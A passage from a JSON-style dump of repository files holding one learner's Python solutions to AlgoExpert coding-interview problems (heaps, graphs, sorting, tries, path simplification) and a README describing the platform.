blueShirtSpeeds[idx])\n return maximumTotalSpeed\n else:\n for idx in range(length):\n maximumTotalSpeed += max(\n blueShirtSpeeds[length-1-idx], redShirtSpeeds[idx])\n return maximumTotalSpeed\n else:\n minimumTotalSpeed = 0\n length = len(redShirtSpeeds)\n for idx in range(length):\n minimumTotalSpeed += max(redShirtSpeeds[length-1-idx],\n blueShirtSpeeds[length-1-idx])\n return minimumTotalSpeed\n" }, { "alpha_fraction": 0.613696813583374, "alphanum_fraction": 0.6316489577293396, "avg_line_length": 30.33333396911621, "blob_id": "b43b17367b454a732adc5ec20a5c07480ff3f842", "content_id": "181a7269d35fd0109c699ae4c2c8af472237192a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1504, "license_type": "no_license", "max_line_length": 76, "num_lines": 48, "path": "/indexEqualsValue.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def indexEqualsValue(array):\n# indexArray = [i for i in range(len(array))]\n# for i in range(len(array)):\n# if array[i] == indexArray[i]:\n# return i\n# return -1\n\n\n# def indexEqualsValue(array):\n# return indexEqualsValueHelper(array, 0, len(array)-1)\n\n\n# def indexEqualsValueHelper(array, leftIdx, rightIdx):\n# while leftIdx <= rightIdx:\n# middleIdx = leftIdx + (rightIdx-leftIdx)//2\n# middleValue = array[middleIdx]\n# if middleValue == middleIdx and middleIdx==0 :\n# return middleIdx\n# elif middleValue < middleIdx:\n# leftIdx = middleIdx+1\n# elif middleValue == middleIdx and array[middleIdx-1]<middleIdx-1:\n# return middleIdx\n# else:\n# rightIdx = middleIdx-1\n# return -1\n\n\ndef indexEqualsValue(array):\n return indexEqualsValueHelper(array, 0, len(array)-1)\n\n\ndef indexEqualsValueHelper(array, leftIdx, rightIdx):\n if leftIdx > rightIdx:\n return -1\n middleIdx = leftIdx + (rightIdx-leftIdx)//2\n middleValue = array[middleIdx]\n \n if middleValue < middleIdx:\n return indexEqualsValueHelper(array, middleIdx+1, rightIdx)\n elif middleValue == middleIdx and middleIdx == 0:\n return middleIdx\n elif middleValue == middleIdx and array[middleIdx-1] < middleIdx-1:\n return middleIdx\n else:\n return indexEqualsValueHelper(array, leftIdx, middleIdx-1)\n\n\nprint(indexEqualsValue([-2, 0, 2, 4, 6, 8, 10]))\n" }, { "alpha_fraction": 0.5642927885055542, "alphanum_fraction": 0.5776458978652954, "avg_line_length": 32.11475372314453, "blob_id": "e44eb20bac5bb71518f7a64fdb8d29d9d7cb1103", "content_id": "0af0c79381bfd6c467c12642154168793f5d60f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2022, "license_type": "no_license", "max_line_length": 83, "num_lines": 61, "path": "/Heap.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def swap(array, i, j):\n array[i], array[j] = array[j], array[i]\n\n\nclass Heap:\n def __init__(self, array, callback):\n self.heap = self.buildHeap(array)\n self.callback = callback\n self.length = len(self.heap)\n\n def buildHeap(self, array):\n firstParentIdx = (len(array)-2)//2\n for currentIdx in reversed(range(firstParentIdx+1)):\n self.siftDown(array, currentIdx, len(array)-1)\n return array\n\n def siftUp(self, heap, currentIdx):\n parentIdx = (currentIdx-1)//2\n while currentIdx >= 0:\n if self.callback(heap, parentIdx, currentIdx):\n swap(heap, parentIdx, currentIdx)\n currentIdx = parentIdx\n parentIdx = (currentIdx-1)//2\n else:\n return\n\n def siftDown(self, heap, currentIdx, endIdx):\n childOneIdx = 2*currentIdx + 1\n while childOneIdx <= endIdx:\n childTwoIdx = 2*currentIdx+2 if currentIdx*2+2 <= endIdx else -1\n if childTwoIdx != -1 and self.callback(heap, childOneIdx, childTwoIdx):\n idxSwapIdx = childTwoIdx\n else:\n idxSwapIdx = childOneIdx\n if self.callback(heap, idxSwapIdx, currentIdx):\n swap(heap, idxSwapIdx, currentIdx)\n currentIdx = idxSwapIdx\n childOneIdx = 2*currentIdx + 1\n else:\n return\n\n def peek(self):\n return self.heap[0]\n\n def remove(self):\n swap(self.heap, 0, len(self.heap)-1)\n valueToRemove = self.heap.pop()\n self.length -= 1\n self.siftDown(self.heap, 0, len(self.heap)-1)\n return valueToRemove\n\n def insert(self, value):\n self.heap.append(value)\n self.length += 1\n self.siftUp(self.heap, len(self.heap)-1)\n\ndef MAX_HEAP(array,idxOne,idxTwo):\n return True if array[idxOne] > array[idxTwo] else False\n\ndef MIN_HEAP(array,idxOne,idxTwo):\n return True if array[idxOne] < array[idxTwo] else False\n\n\n" }, { "alpha_fraction": 0.4790697693824768, "alphanum_fraction": 0.49302324652671814, "avg_line_length": 24, "blob_id": "ca6a25b90c7490a6e720c64bc85b113eb5bebe9e", "content_id": "d7f4afe433739aa1c173f7b3e371f9e05e7c2e40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1075, "license_type": "no_license", "max_line_length": 65, "num_lines": 43, "path": "/cycleInGraph.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def cycleInGraph(edges):\n for vertex, edge in enumerate(edges):\n visited = {}\n queue = [vertex]\n while queue:\n currentVertex = queue.pop(0)\n if currentVertex in visited:\n return True\n visited[currentVertex] = True\n if len(edges[currentVertex]) == 0 and len(queue) > 0:\n queue.pop(0)\n for connectedVertex in edges[currentVertex]:\n queue.append(connectedVertex)\n return False\n\n\n################################################################\n# for every vertex in graph\n# d = getalledges of current vertex\n# e = current vertex edge\n# add them to the queue\n# for each one of the connected vertex\n# get a connected node closer\n# unless the node has not been visited continue\n# else return True\n################################################################\n\nedges = [\n [1, 3], [2, 3, 4], [0], [], [2, 5], []\n]\n\nprint(cycleInGraph(\n edges\n))\n\nedges = [\n [1, 2],\n [2],\n []\n]\nprint(cycleInGraph(\n edges\n))\n" }, { "alpha_fraction": 0.6031313538551331, "alphanum_fraction": 0.614703893661499, "avg_line_length": 34.85365676879883, "blob_id": "239a5602c5feb362708ff64433bb668168719e78", "content_id": "e66d4805f1ac6974f317e3715015f2da5d3c141c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1469, "license_type": "no_license", "max_line_length": 81, "num_lines": 41, "path": "/dijkstrasAlgorithm.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def dijkstrasAlgorithm(start, edges):\n visited = set()\n numberOfVertices = len(edges)\n shortestPathSoFar = [float(\"inf\")] * numberOfVertices\n shortestPathSoFar[start] = 0\n while len(visited) != numberOfVertices:\n vertex, currentMinDistance = getVertexMinDistance(\n shortestPathSoFar, visited)\n if currentMinDistance == float(\"inf\"):\n break\n visited.add(vertex)\n for edge in edges[vertex]:\n destination, distanceToDestination = edge\n if destination in visited:\n continue\n newPathDistance = currentMinDistance+distanceToDestination\n currentDestinationDistance = shortestPathSoFar[destination]\n if newPathDistance <= currentDestinationDistance:\n shortestPathSoFar[destination] = newPathDistance\n\n return list(map(lambda x: -1 if x == float(\"inf\") else x, shortestPathSoFar))\n\n\ndef getVertexMinDistance(distances, visited):\n currentMinDistance = float('inf')\n vertex = None\n for vertexIdx, distance in enumerate(distances):\n if vertexIdx in visited:\n continue\n if distance <= currentMinDistance:\n currentMinDistance = distance\n vertex = vertexIdx\n return [vertex, currentMinDistance]\n\n\nanswer = dijkstrasAlgorithm(0,\n [[[1, 7]], [[2, 6], [3, 20], [4, 3]],\n [[3, 14]], [[4, 2]], [], []]\n )\n\nprint(answer)" }, { "alpha_fraction": 0.6281690001487732, "alphanum_fraction": 0.6281690001487732, "avg_line_length": 34.5, "blob_id": "b7267671c3944aec34670914d8ea732b1e828e47", "content_id": "110e12dc8522fa24d5061b4105cc067aef0710d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 67, "num_lines": 10, "path": "/twoSum.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def twoNumberSum(array, targetSum):\n hashMap = {}\n for idx in range(len(array)):\n currentNum = array[idx]\n difference = targetSum-currentNum\n if difference not in hashMap and currentNum not in hashMap:\n hashMap[difference] = currentNum\n else:\n return [currentNum, hashMap[currentNum]]\n return []\n" }, { "alpha_fraction": 0.6403940916061401, "alphanum_fraction": 0.6551724076271057, "avg_line_length": 49.75, "blob_id": "f9f62c7ffbc6b467b9904471f9d5c7965e6afea3", "content_id": "61233a056dafa82662bdd38dba8900192f953b18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 406, "license_type": "no_license", "max_line_length": 97, "num_lines": 8, "path": "/minNumberOfCoinsForChange.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def minNumberOfCoinsForChange(n, denoms):\n numberOfCoins = [float(\"inf\") for amount in range(n+1)]\n numberOfCoins[0] = 0\n for denom in denoms:\n for amount in range(1, len(numberOfCoins)):\n if denom <= amount:\n numberOfCoins[amount] = min(numberOfCoins[amount-denom]+1, numberOfCoins[amount])\n return -1 if numberOfCoins[n] == float(\"inf\") else numberOfCoins[n]\n" }, { "alpha_fraction": 0.648662269115448, "alphanum_fraction": 0.6627965569496155, "avg_line_length": 30.95161247253418, "blob_id": "33fa5d2c171e5dd71e781fc1324bb447e2177e09", "content_id": "986fb51cf1040ce40e675684a58add13321f7327", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1981, "license_type": "no_license", "max_line_length": 75, "num_lines": 62, "path": "/smallestSubstringContaining.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def smallestSubstringContaining(bigString, smallString):\n targetCharCounts = getCharCounts(smallString)\n substringBounds = getSubStringBounds(bigString, targetCharCounts)\n return getStringFromBounds(bigString, substringBounds)\n\n\ndef getSubStringBounds(string, targetCharCounts):\n subStringBounds = [0, float(\"inf\")]\n subStringCharCounts = {}\n numUniqueChar = len(targetCharCounts.keys())\n numuniqueCharFound = 0\n leftPtr = 0\n rightPtr = 0\n while rightPtr < len(string):\n rightChar = string[rightPtr]\n if rightChar not in targetCharCounts:\n rightPtr += 1\n continue\n increaseCharCount(rightChar, subStringCharCounts)\n if subStringCharCounts[rightChar] == targetCharCounts[rightChar]:\n numuniqueCharFound += 1\n while numuniqueCharFound == numUniqueChar and leftPtr <= rightPtr:\n subStringBounds = getCloserBounds(\n leftPtr, rightPtr, subStringBounds[0], subStringBounds[1])\n leftChar = string[leftPtr]\n if leftChar not in targetCharCounts:\n leftPtr += 1\n continue\n if subStringCharCounts[leftChar] == targetCharCounts[leftChar]:\n numuniqueCharFound -= 1\n decreaseCharCount(leftChar, subStringCharCounts)\n leftPtr += 1\n rightPtr += 1\n return subStringBounds\n\n\ndef getCloserBounds(idx1, idx2, idx3, idx4):\n return [idx1, idx2] if idx2-idx1 < idx4-idx3 else [idx3, idx4]\n\n\ndef getStringFromBounds(string, bounds):\n start, end = bounds\n if end == float(\"inf\"):\n return \"\"\n return string[start:end+1]\n\n\ndef getCharCounts(string):\n charCounts = {}\n for char in string:\n increaseCharCount(char, charCounts)\n return charCounts\n\n\ndef increaseCharCount(char, charCounts):\n if char not in charCounts:\n charCounts[char] = 0\n charCounts[char] += 1\n\n\ndef decreaseCharCount(char, charCount):\n charCount[char] -= 1\n" }, { "alpha_fraction": 0.6056910753250122, "alphanum_fraction": 0.6234756112098694, "avg_line_length": 25.958904266357422, "blob_id": "0e0547c9f973ebbf84df6fce9ad37ed0cd69ce6e", "content_id": "523ca4b66fa57c5a82aa4954e4cd1527e7698ce4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1968, "license_type": "no_license", "max_line_length": 68, "num_lines": 73, "path": "/rectangleMania.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "UP, DOWN, LEFT, RIGHT = 'up', 'down', 'right', 'left'\n\n\ndef rectangleMania(coords):\n coordsTable = getCoordsTable(coords)\n return getRectangleCount(coords, coordsTable)\n\n\ndef getCoordsTable(coords):\n coordsTable = {}\n for coord1 in coords:\n coord1Directions = {\n UP: [], DOWN: [], RIGHT: [], LEFT: []\n }\n for coord2 in coords:\n coord2Direction = getCoordsDirection(coord1, coord2)\n if coord2Direction in coord1Directions:\n coord1Directions[coord2Direction].append(coord2)\n coord1String = coordToString(coord1)\n coordsTable[coord1String] = coord1Directions\n return coordsTable\n\n\ndef getCoordsDirection(coord1, coord2):\n x1, y1 = coord1\n x2, y2 = coord2\n if y2 == y1:\n if x2 > x1:\n return RIGHT\n else:\n return LEFT\n elif x2 == x1:\n if y2 > y1:\n return UP\n else:\n return DOWN\n return \"\"\n\n\ndef coordToString(coord):\n x, y = coord\n return str(x) + '-' + str(y)\n\n\ndef getRectangleCount(coords, coordsTable):\n rectangleCount = 0\n for coord in coords:\n rectangleCount += clockwiseCountRectangles(\n coord, coordsTable, UP, coord)\n return rectangleCount\n\n\ndef clockwiseCountRectangles(coord, coordsTable, direction, origin):\n if direction == LEFT:\n rectangleFound = origin in coordsTable[coordToString][LEFT]\n return 1 if rectangleFound else 0\n else:\n rectangleCount = 0\n nextDirection = getNextClockwiseCount(direction)\n for nextCoord in coordsTable[coordToString][direction]:\n rectangleCount += clockwiseCountRectangles(\n nextCoord, coordsTable, nextDirection, origin)\n return rectangleCount\n\n\ndef getNextClockwiseCount(direction):\n if direction == UP:\n return RIGHT\n if direction == RIGHT:\n return DOWN\n if direction == DOWN:\n return LEFT\n return ''\n" }, { "alpha_fraction": 0.5389049053192139, "alphanum_fraction": 0.5556195974349976, "avg_line_length": 27.442623138427734, "blob_id": "876faa83d1387d3e985cbc05ff314770326a59ed", "content_id": "99c18992d2479ae5f65ad1437cef5da091653c94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1735, "license_type": "no_license", "max_line_length": 79, "num_lines": 61, "path": "/boggleBoard.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def boggleBoard(board, words):\n trie = Trie()\n for word in words:\n trie.add(word)\n finalWords = {}\n visited = [[False for letter in row] for row in board]\n for row in range(len(board)):\n for col in range(len(board[row])):\n explore(row, col, board, visited, trie.root, finalWords)\n return list(finalWords.keys())\n\n\ndef explore(i, j, board, visited, trieNode, finalWords):\n if visited[i][j]:\n return\n letter = board[i][j]\n if letter not in trieNode:\n return\n visited[i][j] = True\n trieNode = trieNode[letter]\n if \"*\" in trieNode:\n finalWords[trieNode[\"*\"]] = True\n neighbors = getNeighbors(board, i, j)\n for neighbor in neighbors:\n explore(neighbor[0], neighbor[1], board, visited, trieNode, finalWords)\n visited[i][j] = False\n\n\ndef getNeighbors(board, i, j):\n neighbors = []\n if i > 0 and j > 0:\n neighbors.append([i-1, j-1])\n if i > 0 and j < len(board[0])-1:\n neighbors.append([i-1, j+1])\n if i < len(board)-1 and j < len(board[0])-1:\n neighbors.append([i+1, j+1])\n if i < len(board)-1 and j > 0:\n neighbors.append([i+1, j-1])\n if i > 0:\n neighbors.append([i-1, j])\n if i < len(board)-1:\n neighbors.append([i+1, j])\n if j > 0:\n neighbors.append([i, j-1])\n if j < len(board[0])-1:\n neighbors.append([i, j+1])\n return neighbors\n\n\nclass Trie:\n def __init__(self):\n self.root = {}\n self.endSymbol = \"*\"\n\n def add(self, word):\n current = self.root\n for letter in word:\n if letter not in current:\n current[letter] = {}\n current = current[letter]\n current[self.endSymbol] = word\n" }, { "alpha_fraction": 0.7576582431793213, "alphanum_fraction": 0.7712729573249817, "avg_line_length": 49.655174255371094, "blob_id": "68baad08a335c82c5bdf79e3cecdf525539183bd", "content_id": "7eb32ae58261c73094b8713f9207034682adbaa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1471, "license_type": "no_license", "max_line_length": 385, "num_lines": 29, "path": "/README.md", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# Algoexpert\n\nproblem solving on a coding platform called algoexpert.\n![algoexpert](https://www.yoreoyster.com/wp-content/uploads/2020/11/AlgoExpert-Review-768x369.jpg)\n\nThe leading platform to prepare for coding interviews. Master essential algorithms and data structures, and land your dream job with AlgoExpert `https://www.algoexpert.io/`.\nAs Algorithms and data structures go hand in hand; the solution to virtually any coding interview problem will require the implementation of some kind of abstract data type in order to access and manipulate information.\nThe above site was used to solidify my problem solving skills in python. However, Most of my solution to algorithm problem on algoexpert .All solutions are written in python.\n\n## Programming Questions\n\n![algoexpert](https://assets.algoexpert.io/ge8dafe8d17-prod/dist/favicon.png)\n\nNo interview prep resource would be complete if it didn’t have a way to put your coding skills to the test, and this is something that AlgoExpert does very efficiently: it has 110+ hand-picked coding questions to solve, with 4 difficulty settings available (Easy, Medium, Hard & Very Hard), all designed to give you a solid grasp on important DS&A concepts (and a few extras), such as:\n\n- [x] Binary Search Trees\n- [x] Dynamic Programming\n- [x] Binary Trees\n- [x] Famous Algorithms\n- [x] Linked Lists\n- [x] Recursion\n- [x] Searching\n- [x] Sorting\n- [x] Strings\n- [x] Graphs\n- [x] Arrays\n- [x] Heaps\n- [x] Stacks\n- [x] Tries\n" }, { "alpha_fraction": 0.6272814869880676, "alphanum_fraction": 0.6445725560188293, "avg_line_length": 27.91666603088379, "blob_id": "f7598c5dc7e3f74f4a9dc2625875524b0a54820d", "content_id": "459b8dfac30787704054aac26cbfd95d0205b4ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 82, "num_lines": 36, "path": "/quickSort.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def swap(array, i, j):\n array[i], array[j] = array[j], array[i]\n\n\ndef quickSort(array):\n startIdx = 0\n endIdx = len(array)-1\n quickSortHelper(array,startIdx,endIdx)\n return array\n\ndef quickSortHelper(array,startIdx,endIdx):\n if endIdx <= startIdx:\n return \n pivotIdx=startIdx\n leftIdx=startIdx+1\n rightIdx=endIdx\n while leftIdx <= rightIdx:\n if array[leftIdx] > array[pivotIdx] and array[rightIdx] < array[pivotIdx]:\n swap(array, leftIdx, rightIdx)\n if array[leftIdx] <= array[pivotIdx]:\n leftIdx += 1\n if array[rightIdx] >= array[pivotIdx]:\n rightIdx -= 1\n swap(array, pivotIdx, rightIdx)\n leftSubarrayIsSmaller = rightIdx - 1 - startIdx < endIdx-(rightIdx+1)\n if leftSubarrayIsSmaller :\n quickSortHelper(array,startIdx,rightIdx-1)\n quickSortHelper(array,rightIdx+1,endIdx)\n else:\n quickSortHelper(array,rightIdx+1,endIdx)\n quickSortHelper(array,startIdx,rightIdx-1)\n \n\n\n\nprint(quickSort([8,5,2,3,5,6,9]))\n" }, { "alpha_fraction": 0.6721311211585999, "alphanum_fraction": 0.688524603843689, "avg_line_length": 19.33333396911621, "blob_id": "80a1d4ec7d9b6450e39b22c2c4ad1cfca4ff6bc7", "content_id": "02dfec100627cee885416cf64856f22fad4924da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 61, "license_type": "no_license", "max_line_length": 41, "num_lines": 3, "path": "/staircaseTraversal.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def staircaseTraversal(height, maxSteps):\n \n return -1\n" }, { "alpha_fraction": 0.5295698642730713, "alphanum_fraction": 0.5342742204666138, "avg_line_length": 37.153846740722656, "blob_id": "947c4bc6ddd48efdd2571a5032b7ced2f9406ceb", "content_id": "f5b9599d3819eb9f197f6fc43c105fc10d66196f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1488, "license_type": "no_license", "max_line_length": 136, "num_lines": 39, "path": "/shortenPath.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def isImportant(token):\n return len(token)>0 and token != \".\"\n\ndef shortenPath(path):\n # tokenize the string breaking down the path by splitting with \"/\"\n # create a stack and push to it using the following conditions\n startwithSlash = path[0]==\"/\"\n tokens = filter(isImportant,path.split(\"/\"))\n stack=[]\n if startwithSlash :\n stack.append(\"\")\n for token in tokens:\n if token == \"..\":\n if len(stack) == 0 or stack[-1]==\"..\":\n stack.append(token)\n elif stack[-1] != \"\":\n _ = stack.pop()\n else:\n stack.append(token)\n\n if len(stack)==1 and stack[0] == \"\":\n return \"/\"\n return \"/\".join(stack)\n \n\n\nprint(shortenPath(\"foo/../..\"))\nprint(shortenPath(\"/../../../this////one/./../../is/../../going/../../to/be/./././../../../just/a/forward/slash/../../../../../../foo\"))\nprint(shortenPath(\"../../foo/../../bar/baz\"))\nprint(shortenPath(\"/foo/./././bar/./baz///////////test/../../../kappa\"))\nprint(shortenPath(\"/foo/../test/../test/../foo//bar/./baz\"))\nprint(shortenPath(\"/../../..\"))\nprint(shortenPath('/foo/bar/baz/././.'))\nprint(shortenPath(\"/foo/../test/../test/../foo//bar/./baz\"))\nprint(shortenPath(\"/foo//test/./test/./foo//bar///./baz\"))\nprint(shortenPath(\"/foo/../test/../test/../foo//bar/./baz\"))\nprint(shortenPath(\"/../test/../../foo//bar/./baz\"))\nprint(shortenPath(\"/foo/../test/../test/foo//bar/./baz\"))\nprint(shortenPath(\"/foo/../test/../foo//bar/./baz\"))\n" }, { "alpha_fraction": 0.5286368727684021, "alphanum_fraction": 0.5412371158599854, "avg_line_length": 24.31884002685547, "blob_id": "23df81fc0e56d6c80a01f769f67a48fa2e568655", "content_id": "0eaf37b7078bb9621e867d72c556099bb46e9f46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1746, "license_type": "no_license", "max_line_length": 54, "num_lines": 69, "path": "/balancedLevel.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n def insert(self, value):\n if value < self.value:\n if self.left is None:\n self.left = BinaryTree(value)\n else:\n self.left.insert(value)\n else:\n if self.right is None:\n self.right = BinaryTree(value)\n else:\n self.right.insert(value)\n\n\ndef sameLevel(root) -> bool:\n level = 0\n queue = [root]\n values={}\n leaf=[]\n while len(queue):\n sizeOflevel=len(queue)\n while sizeOflevel:\n current=queue.pop(0)\n if level not in values:\n values[level]=[]\n values[level].append(current.value)\n if current.left:\n queue.append(current.left)\n if current.right:\n queue.append(current.right)\n if not current.right and not current.left:\n leaf.append(current.value)\n sizeOflevel-=1\n level+=1\n return leaf==values[level-1]\n\n# def sameLevel(root):\n# leaves=set()\n# sameLevelHelper(root,leaves)\n# return len(leaves)==1\n\n# def sameLevelHelper(root,leaves,level=0):\n# if root is None:\n# return\n# if root.right is None and root.left is None:\n# leaves.add(level)\n# if root.left is not None:\n# sameLevelHelper(root.left,leaves,level+1)\n# if root.right is not None:\n# sameLevelHelper(root.right,leaves,level+1)\n\nt = BinaryTree(3) \nt.insert(1)\nt.insert(4)\nt.insert(0)\nt.insert(5)\nt.insert(6)\nt.insert(-1)\nprint(sameLevel(t))\n\n# 3\n# 1 4 \n# 0 5\n# 6" }, { "alpha_fraction": 0.7178014516830444, "alphanum_fraction": 0.7186218500137329, "avg_line_length": 34.85293960571289, "blob_id": "15113d9b651276dc35757fd86f315631d2ba7395", "content_id": "cec8983da69be5126667b19305db3b21ab633572", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1219, "license_type": "no_license", "max_line_length": 103, "num_lines": 34, "path": "/maxPathSum.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\nclass NodeSumInfo:\n def __init__(self, maxBranchSum, runningPathSum):\n self.maxBranchSum = maxBranchSum\n self.runningPathSum = runningPathSum\n\n\ndef maxPathSum(tree):\n result = maxPathSumHelper(tree)\n return result.runningPathSum\n\n\ndef maxPathSumHelper(tree):\n if tree is None:\n return NodeSumInfo(0, float(\"-inf\"))\n leftReturnCall = maxPathSumHelper(tree.left)\n rightReturnCall = maxPathSumHelper(tree.right)\n leftMaxSumAsBranch, leftMaxPathSum = leftReturnCall.maxBranchSum, leftReturnCall.runningPathSum\n rightMaxSumAsBranch, rightMaxPathSum = rightReturnCall.maxBranchSum, rightReturnCall.runningPathSum\n maxChildSumAsBranch = max(leftMaxSumAsBranch, rightMaxSumAsBranch)\n value = tree.value\n maxSumAsBranch = max(maxChildSumAsBranch+value, value)\n maxSumAsTreeSum = max(leftMaxSumAsBranch+value +\n rightMaxSumAsBranch, maxSumAsBranch)\n\n maxPathSum = max(leftMaxPathSum,\n rightMaxPathSum, maxSumAsTreeSum)\n return NodeSumInfo(maxSumAsBranch, maxPathSum)\n" } ]
74
ArtSb2005/AIF-Bot
https://github.com/ArtSb2005/AIF-Bot
d34e4efa9814888ac7f6df974f852933206c5670
a3b4fc17d2fad0dc9318f8bc0caecbe1f631c02e
3f435936efa9f41a593ace55a243c012e38f1b2c
refs/heads/main
2023-09-02T02:31:24.908916
2021-11-19T16:37:06
2021-11-19T16:37:06
429,567,595
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.46719732880592346, "alphanum_fraction": 0.4921673536300659, "avg_line_length": 44.23025131225586, "blob_id": "862a098d6dede13c76285e6c56c8cd7abf870388", "content_id": "962bc313c674dc1d43aa8c9b4985ac1d2c2b8223", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29012, "license_type": "no_license", "max_line_length": 272, "num_lines": 595, "path": "/aif.py", "repo_name": "ArtSb2005/AIF-Bot", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n#!venv/bin/python\r\nimport logging\r\nfrom aiogram import Bot, Dispatcher, executor, types\r\nfrom aiogram import types\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport investpy\r\nimport numpy as np\r\nimport socket\r\nfrom datetime import datetime\r\nfrom datetime import date\r\nimport datetime as dt\r\nimport yfinance as yf\r\nimport yahoofinancials\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport math\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, LSTM\r\nfrom pandas_datareader import data as pdr\r\nimport re\r\nfrom aiogram.utils.markdown import *\r\nfrom aiogram.dispatcher import FSMContext\r\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\r\n\r\nplt.style.use('fivethirtyeight')\r\n# Объект бота\r\nbot = Bot(token=\"2125750419:AAEfypdZsvCNWE2_a7NSv7Cz2hkru7e5Vxk\")\r\n# Диспетчер для бота\r\ndp = Dispatcher(bot)\r\n# Включаем логирование, чтобы не пропустить важные сообщения\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\n# Хэндлер на команду /test1\r\[email protected]_handler(commands=\"start\")\r\nasync def cmd_test1(message: types.Message):\r\n keyboard = types.ReplyKeyboardMarkup()\r\n button_1 = types.KeyboardButton(text=\"Анализ акции\")\r\n keyboard.add(button_1)\r\n button_2 = \"Инструкция\"\r\n keyboard.add(button_2)\r\n button_3 = \"Риск акции\"\r\n keyboard.add(button_3)\r\n button_4 = \"Прогноз акции\"\r\n keyboard.add(button_4)\r\n button_5 = \"Потенциальная акция\"\r\n keyboard.add(button_5)\r\n await message.answer(\"---🎉AFI Telegram Bot🎉---\\nАналитика. \\nВведите ТИКЕР (можно найти на investing.com)\", reply_markup=keyboard)\r\n\r\n\r\[email protected]_handler(lambda message: message.text == \"Инструкция\")\r\nasync def without_puree(message: types.Message):\r\n with open('instr.jpg', 'rb') as photo:\r\n await message.reply_photo(photo, caption='---Инструкция--- \\n1.Зайдите на сайт investing.com, выберите интересующую вас акцию(акция должна быть биржи NASDAQ) и скопируйте тикер. \\n2.Введите \"/start\", укажите тикер, выберите кнопку и программа начнёт свою работу.')\r\[email protected]_handler(lambda message: message.text.isupper())\r\nasync def get_name(message: types.Message):\r\n global action\r\n action = message.text\r\n if (action.isdigit() == False) and (action.isupper() == True):\r\n await message.answer('Тикер установлен')\r\[email protected]_handler(lambda message: message.text ==\"Анализ акции\")\r\nasync def get_name(message: types.Message):\r\n try:\r\n def Stock_SMA(stock, country):\r\n ''' stock - stock exchange abbreviation; country - the name of the country'''\r\n # Read data\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(\r\n date.today().year)\r\n try:\r\n df = investpy.get_stock_historical_data(stock=stock, country=country,\r\n from_date='01/01/2019',\r\n to_date=current_date)\r\n except:\r\n df = yf.download(stock, start='2019-01-01', end=date.today(), progress=False)\r\n # Count SMA30 / SMA90\r\n SMA30 = pd.DataFrame()\r\n SMA30['Close Price'] = df['Close'].rolling(window=30).mean()\r\n SMA90 = pd.DataFrame()\r\n SMA90['Close Price'] = df['Close'].rolling(window=90).mean()\r\n data = pd.DataFrame()\r\n data['Stock'] = df['Close']\r\n data['SMA30'] = SMA30['Close Price']\r\n data['SMA90'] = SMA90['Close Price']\r\n\r\n # Визуализируем\r\n plt.figure(figsize=(12.6, 4.6))\r\n plt.plot(data['Stock'], label=stock, alpha=0.35)\r\n plt.plot(SMA30['Close Price'], label='SMA30', alpha=0.35)\r\n plt.plot(SMA90['Close Price'], label='SMA90', alpha=0.35)\r\n plt.title(stock + ' История (SMA)')\r\n plt.xlabel('01/01/2019 - ' + current_date)\r\n plt.ylabel('Цена закрытия')\r\n plt.legend(loc='upper left')\r\n plt.savefig('img1.jpg')\r\n\r\n def Stock_EMA(stock, country):\r\n ''' stock - stock exchange abbreviation; country - the name of the country'''\r\n # Read data\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(\r\n date.today().year)\r\n try:\r\n df = 